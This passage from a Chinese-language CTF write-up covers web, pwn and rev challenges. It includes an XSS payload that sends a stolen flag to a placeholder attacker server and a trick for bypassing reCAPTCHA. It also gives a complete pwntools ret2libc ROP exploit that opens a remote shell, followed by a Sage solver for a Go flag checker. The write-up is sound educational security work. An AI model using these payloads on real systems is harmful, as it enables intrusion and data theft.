    res.json({
      status: 'error',
      message: 'reCAPTCHA failed'
    });
    return;
  }
*/
  redis.rpush('query', id);
  redis.llen('query', (err, result) => {
    console.log('[+] reported:', id);
    console.log('[+] length:', result);
    res.json({
      status: 'success',
      length: result
    });
  })
})

// admin only
app.get('/:id/confirm', adminRequired, (req, res) => {
  const { id } = req.params;

  if (id in uploadedFiles) {
    checkedFiles[id] = true;
  }

  res.send('done');
});

app.listen(port, '0.0.0.0', () => {
  console.log(`Example app listening at http://localhost:${port}`);
});

簡單來說你可以上傳圖片，然後它會檢查 file signature 和副檔名，serve 圖片的 route 部分也會用副檔名去給予正確的 Content-Type。然後你可以 report id 給 admin bot，它會去瀏覽 http://URL/id。

關鍵在於它檢查副檔名時用的是 ext in SIGNATURES，其中 SIGNATURES 是一個 js object。js 中的 in 運算子也會一起把 __proto__ 上的東西一起算進去，所以 'toString' in SIGNATURES 或是其他類似的都會是 true。

所以就建立一個 xxxx.toString 檔案內容如下:

<script>
fetch('/flag').then(r=>r.text()).then(t=>fetch('https://YOUR_SERVER/?flag='+encodeURIComponent(t)))
</script>

然後上傳上去後直接瀏覽圖片的網址就能觸發 XSS。至於 report 給 admin bot 的部份它只接受 id，不過因為我們的 path 是 uploads/SOME_UUID.toString，把它用 url encode 起來 report 給 admin 就可以了。

一個小麻煩是它有使用 recaptcha，我是直接在它 submit 的地方下個斷點，然後通過 recaptcha 之後自己用 fetch 順帶把 recaptcha 的 token 送自己的 path 過去。

Pwn

BabyBOF:RCE

一個很簡單的 ROP，有給 source:

#include <stdio.h>
#include <unistd.h>

int main() {
  char feedback[0x40];
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(180);
  puts("Enter your feedback: ");
  scanf("%s", feedback);
  puts("Thank you!");
  return 0;
}

保護只有 NX 有開，所以直接 buffer overlow 去 ROP leak GOT 中的 puts 後回到 main，第二次 rop 就直接 ROP 到 libc 拿 shell 即可。

from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"

elf = ELF("./vuln_patched")
libc = ELF("./libc-2.31.so")

pop_rdi = 0x401273

# io = gdb.debug("./vuln_patched", "b *(main+107)\nc")
io = remote("pwn2.bsidesahmedabad.in", 9001)
io.recvuntil(b"feedback:")
io.sendline(
    b"a" * 72 + flat([pop_rdi, elf.got["puts"], elf.plt["puts"], elf.sym["main"]])
)
io.recvuntil(b"you!\n")
libc_base = int.from_bytes(io.recv(6), "little") - libc.sym["puts"]
print(f"{libc_base = :#x}")
libc.address = libc_base
rop = ROP(libc)
rop.call("execve", [next(libc.search(b"/bin/sh\0")), 0, 0])
io.recvuntil(b"feedback:")
io.sendline(b"a" * 72 + rop.chain())
io.interactive()

# Neko{Th4t's_4_n1c3_f33db4ck}

Rev

intersection

這題有個沒 strip 過的 golang flag checker 要 reverse，丟進 ida 中都可以看到 symbols，不過 function call 的部份不是很正確。不過同時配合 gdb 那邊動態 debug 還是能懂整個程式在做什麼，只是要稍微了解一下 golang 的 calling convention 傳遞參數都是在 stack 上的這件事就大致上能 reverse 出來了。

基本上就是把輸入的字串切兩半，分別轉成 big int $x, y$ 。另外程式中也有三個額外的三個常數 $c_1, c_2, c_3$ 。

它做的檢查就是下面兩個等式:

\begin{aligned} x^2+y^2 &\equiv c_1 \pmod{c_3} \\ xy &\equiv c_2 \pmod{c_3} \end{aligned}

其中的 $c_3$ 是一個質數，所以這樣很容易可以在 prime field 中解出 $x, y$ 拿到 flag。我這邊比較偷懶，直接拿 sage 的 groebner basis 解掉:

from Crypto.Util.number import long_to_bytes

c1 = 0x4B5EC9227AC1C16BCC9C03656B648380F06D7E889940BF2A9DCE4708047A21CD
c2 = 0x984E50D5688EE40207AD56F879C80C07AB16D82EC8075DFCA5840184802B0742
c3 = 0x999120A873890329CF2ADC1C544150AD00F9B6B2F2C9535EA6CE2B44D5B678E7

P.<x, y> = GF(c3)[]
a = x * x
b = y * y
f1 = a + b - c1 * c1
f2 = x * y - c2
I = P.ideal([f1, f2])
assert I.dimension() == 0
V = I.variety()
for sol in V:
    first = sol["x"]
    second = sol["y"]
    print(long_to_bytes(first) + long_to_bytes(second))

# Neko{intersection_of_x^2+y^2=a^2_and_y=b/x}

這樣好像有點大砲打蚊子…

Crypto#

dlppp#

floorsa#

SSSS.RNG#

*ECC-RSA 2#

*They Were Eleven#

Web#

entrance#

Roda#

Pwn#

BabyBOF:RCE#

Rev#

intersection#